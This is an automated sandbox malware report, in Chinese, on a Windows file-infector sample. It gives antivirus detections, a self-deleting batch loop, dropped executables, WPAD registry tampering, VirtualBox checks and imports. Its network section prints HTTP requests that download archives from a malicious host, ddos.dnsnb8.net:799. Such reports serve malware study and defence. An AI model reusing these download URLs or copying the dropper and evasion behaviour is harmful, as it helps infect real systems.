7.2
高危
59 个模型检测该样本为恶意！
重新分析
更多

0685658d4e346639a3eb78e26f9ceeffd0790be72538dd38a6142d8673d1b577

a3e81c61d2fdea2a94438184c3db6b37.exe

分析耗时

48s

最近分析

文件大小

479.5KB
静态报毒 动态报毒 A + W32 AI SCORE=84 BANLOAD CLASSIC CONFIDENCE CSTQAJ DARKSHELL DUMPMODULEINFECTIOUSNME FAMVT FILEINFECTOR INFECTED JADTRE KA@558NXG KUDJ LOADER MALICIOUS PE MIKCER NIMNUL OTWYCAL PATCHLOAD PCARRIER RAMNIT ROUE SCORE SMALL STATIC AI TRIUSOR UNSAFE VJADTRE WALI WAPOMI 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
McAfee W32/Kudj 20201211 6.0.6.653
Alibaba Virus:Win32/Nimnul.a51285b3 20190527 0.3.0.5
Baidu Win32.Virus.Otwycal.d 20190318 1.0.0.2
Avast Other:Malware-gen [Trj] 20201210 21.1.5827.0
Tencent Virus.Win32.Loader.aab 20201211 1.0.0.1
Kingsoft 20201211 2017.9.26.565
CrowdStrike win/malicious_confidence_90% (W) 20190702 1.0
静态指标
Command line console output was observed (50 out of 1544 个事件)
Time & API Arguments Status Return Repeated
1619812595.858501
WriteConsoleA
buffer: Usage:
console_handle: 0x0000000b
success 1 0
1619812595.858501
WriteConsoleA
buffer: DRkill [-help] [-quiet] [-pid n] [-exe name] [-underdr] [-v]
console_handle: 0x0000000b
success 1 0
1619812607.374499
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619812607.374499
WriteConsoleW
buffer: del
console_handle: 0x00000007
success 1 0
1619812607.374499
WriteConsoleW
buffer: "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe"
console_handle: 0x00000007
success 1 0
1619812607.421499
WriteConsoleW
buffer: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe
console_handle: 0x00000007
success 1 0
1619812607.467499
WriteConsoleW
buffer: 拒绝访问。
console_handle: 0x0000000b
success 1 0
1619812607.467499
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619812607.467499
WriteConsoleW
buffer: if
console_handle: 0x00000007
success 1 0
1619812607.467499
WriteConsoleW
buffer: exist "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe"
console_handle: 0x00000007
success 1 0
1619812607.467499
WriteConsoleW
buffer: goto
console_handle: 0x00000007
success 1 0
1619812607.467499
WriteConsoleW
buffer: :DELFILE
console_handle: 0x00000007
success 1 0
1619812607.467499
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619812607.467499
WriteConsoleW
buffer: del
console_handle: 0x00000007
success 1 0
1619812607.467499
WriteConsoleW
buffer: "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe"
console_handle: 0x00000007
success 1 0
1619812607.467499
WriteConsoleW
buffer: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe
console_handle: 0x00000007
success 1 0
1619812607.467499
WriteConsoleW
buffer: 拒绝访问。
console_handle: 0x0000000b
success 1 0
1619812607.483499
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619812607.483499
WriteConsoleW
buffer: if
console_handle: 0x00000007
success 1 0
1619812607.483499
WriteConsoleW
buffer: exist "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe"
console_handle: 0x00000007
success 1 0
1619812607.483499
WriteConsoleW
buffer: goto
console_handle: 0x00000007
success 1 0
1619812607.483499
WriteConsoleW
buffer: :DELFILE
console_handle: 0x00000007
success 1 0
1619812607.483499
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619812607.483499
WriteConsoleW
buffer: del
console_handle: 0x00000007
success 1 0
1619812607.483499
WriteConsoleW
buffer: "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe"
console_handle: 0x00000007
success 1 0
1619812607.483499
WriteConsoleW
buffer: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe
console_handle: 0x00000007
success 1 0
1619812607.499499
WriteConsoleW
buffer: 拒绝访问。
console_handle: 0x0000000b
success 1 0
1619812607.499499
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619812607.499499
WriteConsoleW
buffer: if
console_handle: 0x00000007
success 1 0
1619812607.499499
WriteConsoleW
buffer: exist "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe"
console_handle: 0x00000007
success 1 0
1619812607.499499
WriteConsoleW
buffer: goto
console_handle: 0x00000007
success 1 0
1619812607.499499
WriteConsoleW
buffer: :DELFILE
console_handle: 0x00000007
success 1 0
1619812607.499499
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619812607.499499
WriteConsoleW
buffer: del
console_handle: 0x00000007
success 1 0
1619812607.499499
WriteConsoleW
buffer: "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe"
console_handle: 0x00000007
success 1 0
1619812607.514499
WriteConsoleW
buffer: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe
console_handle: 0x00000007
success 1 0
1619812607.514499
WriteConsoleW
buffer: 拒绝访问。
console_handle: 0x0000000b
success 1 0
1619812607.514499
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619812607.514499
WriteConsoleW
buffer: if
console_handle: 0x00000007
success 1 0
1619812607.514499
WriteConsoleW
buffer: exist "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe"
console_handle: 0x00000007
success 1 0
1619812607.514499
WriteConsoleW
buffer: goto
console_handle: 0x00000007
success 1 0
1619812607.514499
WriteConsoleW
buffer: :DELFILE
console_handle: 0x00000007
success 1 0
1619812607.514499
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619812607.514499
WriteConsoleW
buffer: del
console_handle: 0x00000007
success 1 0
1619812607.514499
WriteConsoleW
buffer: "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe"
console_handle: 0x00000007
success 1 0
1619812607.530499
WriteConsoleW
buffer: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe
console_handle: 0x00000007
success 1 0
1619812607.530499
WriteConsoleW
buffer: 拒绝访问。
console_handle: 0x0000000b
success 1 0
1619812607.530499
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619812607.530499
WriteConsoleW
buffer: if
console_handle: 0x00000007
success 1 0
1619812607.530499
WriteConsoleW
buffer: exist "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\QXHUXV.exe"
console_handle: 0x00000007
success 1 0
This executable has a PDB path (1 个事件)
pdb_path D:\derek\dr\build_package\build_drmemory-release-32\dynamorio\bin32\DRkill.pdb
Tries to locate where the browsers are installed (1 个事件)
file C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 个事件)
section P^E\xe0\xa3u}
行为判定
动态指标
Creates executable files on the filesystem (20 个事件)
file C:\Python27\Lib\distutils\command\wininst-6.0.exe
file C:\Python27\Lib\site-packages\setuptools\cli-32.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\70223AB4.exe
file C:\Python27\Lib\site-packages\setuptools\cli.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\525E0B71.exe
file C:\tmpsij43m\bin\inject-x86.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\403E57EF.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\0E016536.exe
file C:\Python27\Lib\site-packages\setuptools\gui-32.exe
file C:\Python27\Lib\distutils\command\wininst-8.0.exe
file C:\Python27\Lib\distutils\command\wininst-7.1.exe
file C:\Python27\Lib\site-packages\pip\_vendor\distlib\w32.exe
file C:\tmpsij43m\bin\is32bit.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\QXHUXV.exe
file C:\Python27\Lib\site-packages\setuptools\gui.exe
file C:\Python27\Lib\distutils\command\wininst-9.0.exe
file C:\tmpsij43m\bin\execsc.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\5EDA157F.exe
file C:\Python27\Lib\site-packages\pip\_vendor\distlib\t32.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\37a56243.bat
Drops a binary and executes it (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\37a56243.bat
Drops an executable to the user AppData folder (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\QXHUXV.exe
A process created a hidden window (1 个事件)
Time & API Arguments Status Return Repeated
1619812606.547124
ShellExecuteExW
parameters:
filepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\37a56243.bat
filepath_r: C:\Users\ADMINI~1.OSK\AppData\Local\Temp\37a56243.bat
show_type: 0
success 1 0
Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)
Time & API Arguments Status Return Repeated
1619812597.984124
GetAdaptersAddresses
flags: 0
family: 0
failed 111 0
The binary likely contains encrypted or compressed data indicative of a packer (1 个事件)
entropy 6.933890412999945 section {'size_of_data': '0x00004200', 'virtual_address': '0x0007a000', 'entropy': 6.933890412999945, 'name': 'P^E\\xe0\\xa3u}', 'virtual_size': '0x00005000'} description A section with a high entropy has been found
网络通信
Communicates with host for which no DNS query was performed (1 个事件)
host 172.217.24.14
Sets or modifies WPAD proxy autoconfiguration file for traffic interception (15 个事件)
Time & API Arguments Status Return Repeated
1619812600.781124
RegSetValueExA
key_handle: 0x000003dc
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason
success 0 0
1619812600.781124
RegSetValueExA
key_handle: 0x000003dc
value: àQ˜Ö=×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime
success 0 0
1619812600.781124
RegSetValueExA
key_handle: 0x000003dc
value: 3
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision
success 0 0
1619812600.797124
RegSetValueExW
key_handle: 0x000003dc
value: 网络 2
regkey_r: WpadNetworkName
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName
success 0 0
1619812600.797124
RegSetValueExA
key_handle: 0x000000b8
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason
success 0 0
1619812600.797124
RegSetValueExA
key_handle: 0x000000b8
value: àQ˜Ö=×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime
success 0 0
1619812600.797124
RegSetValueExA
key_handle: 0x000000b8
value: 3
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision
success 0 0
1619812600.797124
RegSetValueExW
key_handle: 0x000003d4
value: {40112ABE-63B3-43C3-BE93-1440EE3AF106}
regkey_r: WpadLastNetwork
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadLastNetwork
success 0 0
1619812601.531124
RegSetValueExA
key_handle: 0x000003e4
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason
success 0 0
1619812601.531124
RegSetValueExA
key_handle: 0x000003e4
value:  ©žÖ=×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime
success 0 0
1619812601.531124
RegSetValueExA
key_handle: 0x000003e4
value: 0
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision
success 0 0
1619812601.531124
RegSetValueExW
key_handle: 0x000003e4
value: 网络 2
regkey_r: WpadNetworkName
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName
success 0 0
1619812601.531124
RegSetValueExA
key_handle: 0x000003f4
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason
success 0 0
1619812601.531124
RegSetValueExA
key_handle: 0x000003f4
value:  ©žÖ=×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime
success 0 0
1619812601.531124
RegSetValueExA
key_handle: 0x000003f4
value: 0
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision
success 0 0
Detects VirtualBox through the presence of a file (5 个事件)
file C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxControl.exe
file C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxTray.exe
file C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxDrvInst.exe
file C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxWHQLFake.exe
file C:\Program Files\Oracle\VirtualBox Guest Additions\uninst.exe
Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 个事件)
dead_host 172.217.24.14:443
File has been identified by 59 AntiVirus engines on VirusTotal as malicious (50 out of 59 个事件)
Bkav W32.FamVT.DumpModuleInfectiousNME.PE
MicroWorld-eScan Win32.VJadtre.3
FireEye Generic.mg.a3e81c61d2fdea2a
McAfee W32/Kudj
Zillya Virus.Nimnul.Win32.5
K7AntiVirus Virus ( 0040f7441 )
Alibaba Virus:Win32/Nimnul.a51285b3
K7GW Virus ( 0040f7441 )
Cybereason malicious.1d2fde
Arcabit Win32.VJadtre.3
Baidu Win32.Virus.Otwycal.d
Cyren W32/PatchLoad.E
Symantec W32.Wapomi.C!inf
TotalDefense Win32/Nimnul.A
APEX Malicious
Paloalto generic.ml
ClamAV Win.Malware.Triusor-6793891-0
Kaspersky Virus.Win32.Nimnul.f
BitDefender Win32.VJadtre.3
NANO-Antivirus Trojan.Win32.Banload.cstqaj
ViRobot Win32.Ramnit.F
Avast Other:Malware-gen [Trj]
Tencent Virus.Win32.Loader.aab
Ad-Aware Win32.VJadtre.3
TACHYON Virus/W32.Ramnit.C
Sophos ML/PE-A + W32/Nimnul-A
Comodo Virus.Win32.Wali.KA@558nxg
F-Secure Malware.W32/Jadtre.B
DrWeb BackDoor.Darkshell.246
VIPRE Virus.Win32.Small.acea (v)
TrendMicro PE_WAPOMI.BM
McAfee-GW-Edition BehavesLike.Win32.Infected.gm
Emsisoft Win32.VJadtre.3 (B)
Ikarus Trojan-Downloader.Win32.Small
Jiangmin Win32/Nimnul.f
Avira W32/Jadtre.B
Antiy-AVL Virus/Win32.Nimnul.f
Gridinsoft Trojan.Heur!.03002201
Microsoft Virus:Win32/Mikcer.B
ZoneAlarm Virus.Win32.Nimnul.f
GData Win32.Virus.Wapomi.A
Cynet Malicious (score: 100)
AhnLab-V3 Win32/VJadtre.Gen
VBA32 Virus.Nimnul.19209
ALYac Win32.VJadtre.3
MAX malware (ai score=84)
Cylance Unsafe
Zoner Virus.Win32.23755
ESET-NOD32 Win32/Wapomi.BA
TrendMicro-HouseCall PE_WAPOMI.BM
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2016-08-29 15:12:06

Imports

Library ADVAPI32.dll:
• 0x473350 OpenProcessToken
• 0x473354 OpenThreadToken
• 0x473364 RegDeleteKeyW
• 0x473368 RegCloseKey
• 0x47336c RegCreateKeyExW
• 0x473370 FreeSid
• 0x473374 SetEntriesInAclW
• 0x47337c LookupAccountNameW
• 0x473380 AddAccessAllowedAce
• 0x473384 InitializeAcl
• 0x473388 GetLengthSid
• 0x47338c RegSetKeySecurity
• 0x4733a0 RegOpenKeyExW
• 0x4733a4 GetSecurityInfo
• 0x4733a8 RegEnumKeyExW
• 0x4733ac RegEnumValueW
• 0x4733b0 RegDeleteValueW
• 0x4733b4 RegQueryValueExW
• 0x4733b8 RegSetValueExW
• 0x4733bc RegOpenKeyW
• 0x4733c0 CloseEventLog
• 0x4733c4 ReadEventLogW
• 0x4733d4 OpenEventLogW
• 0x4733d8 ClearEventLogW
Library KERNEL32.dll:
• 0x473424 GetLastError
• 0x473428 ReadProcessMemory
• 0x47342c CloseHandle
• 0x473430 OpenProcess
• 0x473434 GetProcAddress
• 0x473438 GetModuleHandleW
• 0x47343c TerminateProcess
• 0x473440 SleepEx
• 0x473444 GetCurrentProcess
• 0x473448 GetCurrentThread
• 0x47344c FindClose
• 0x473450 FindFirstFileW
• 0x473454 MoveFileExW
• 0x473458 MoveFileW
• 0x47345c DeleteFileW
• 0x473460 LocalFree
• 0x473464 GetShortPathNameW
• 0x473468 GetSystemDirectoryW
• 0x47346c CreateDirectoryW
• 0x473470 RemoveDirectoryW
• 0x473474 FindNextFileW
• 0x473478 LocalAlloc
• 0x47347c GetExitCodeProcess
• 0x473480 WaitForSingleObject
• 0x473484 CreateProcessW
• 0x473488 CopyFileW
• 0x47348c ResumeThread
• 0x473490 GetThreadContext
• 0x473494 CreateThread
• 0x473498 VirtualFreeEx
• 0x47349c WriteProcessMemory
• 0x4734a0 VirtualProtectEx
• 0x4734a4 VirtualAllocEx
• 0x4734a8 CreateRemoteThread
• 0x4734ac CreateFileW
• 0x4734b4 FormatMessageW
• 0x4734b8 LoadLibraryExW
• 0x4734bc CreateEventW
• 0x4734c0 GetCurrentProcessId
• 0x4734c4 HeapFree
• 0x4734c8 HeapAlloc
• 0x4734cc GetProcessHeap
• 0x4734d0 ExitProcess
• 0x4734d4 DecodePointer
• 0x4734e0 GetCommandLineA
• 0x4734e4 HeapSetInformation
• 0x4734e8 MultiByteToWideChar
• 0x4734ec ReadFile
• 0x4734f0 GetFileType
• 0x4734f4 GetStringTypeW
• 0x473500 FatalAppExitA
• 0x473504 EncodePointer
• 0x47350c FreeLibrary
• 0x473510 InterlockedExchange
• 0x473514 LoadLibraryW
• 0x473518 GetLocaleInfoW
• 0x473524 IsDebuggerPresent
• 0x473528 TlsAlloc
• 0x47352c TlsGetValue
• 0x473530 TlsSetValue
• 0x473534 TlsFree
• 0x47353c SetLastError
• 0x473540 GetCurrentThreadId
• 0x473548 WriteFile
• 0x47354c GetStdHandle
• 0x473550 GetModuleFileNameW
• 0x473554 SetHandleCount
• 0x473558 GetStartupInfoW
• 0x47355c Sleep
• 0x473560 GetModuleFileNameA
• 0x473568 WideCharToMultiByte
• 0x473570 HeapCreate
• 0x473574 HeapDestroy
• 0x47357c GetTickCount
• 0x473588 GetCPInfo
• 0x47358c GetACP
• 0x473590 GetOEMCP
• 0x473594 IsValidCodePage
• 0x473598 LCMapStringW
• 0x47359c GetConsoleCP
• 0x4735a0 GetConsoleMode
• 0x4735a4 RtlUnwind
• 0x4735a8 SetStdHandle
• 0x4735ac SetFilePointer
• 0x4735b0 SetEndOfFile
• 0x4735b4 HeapSize
• 0x4735b8 HeapReAlloc
• 0x4735bc FlushFileBuffers
• 0x4735c0 WriteConsoleW
• 0x4735c4 GetUserDefaultLCID
• 0x4735c8 GetLocaleInfoA
• 0x4735cc EnumSystemLocalesA
• 0x4735d0 IsValidLocale

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49180 63.251.106.25 ddos.dnsnb8.net 799
192.168.56.101 49181 63.251.106.25 ddos.dnsnb8.net 799
192.168.56.101 49182 63.251.106.25 ddos.dnsnb8.net 799
192.168.56.101 49183 63.251.106.25 ddos.dnsnb8.net 799
192.168.56.101 49184 63.251.106.25 ddos.dnsnb8.net 799
192.168.56.101 49185 63.251.106.25 ddos.dnsnb8.net 799
192.168.56.101 49186 63.251.106.25 ddos.dnsnb8.net 799

UDP

Source Source Port Destination Destination Port
192.168.56.101 50002 114.114.114.114 53
192.168.56.101 51808 114.114.114.114 53
192.168.56.101 60123 114.114.114.114 53
192.168.56.101 60215 114.114.114.114 53
192.168.56.101 62912 114.114.114.114 53
192.168.56.101 63429 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 51378 224.0.0.252 5355
192.168.56.101 53237 224.0.0.252 5355
192.168.56.101 55368 224.0.0.252 5355
192.168.56.101 56539 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 58367 224.0.0.252 5355
192.168.56.101 60384 224.0.0.252 5355
192.168.56.101 61680 224.0.0.252 5355
192.168.56.101 62318 224.0.0.252 5355
192.168.56.101 65004 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900

HTTP & HTTPS Requests

URI Data
http://ddos.dnsnb8.net:799/cj//k1.rar 
GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
http://ddos.dnsnb8.net:799/cj//k3.rar 
GET /cj//k3.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
http://ddos.dnsnb8.net:799/cj//k2.rar 
GET /cj//k2.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
http://ddos.dnsnb8.net:799/cj//k5.rar 
GET /cj//k5.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
http://ddos.dnsnb8.net:799/cj//k4.rar 
GET /cj//k4.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.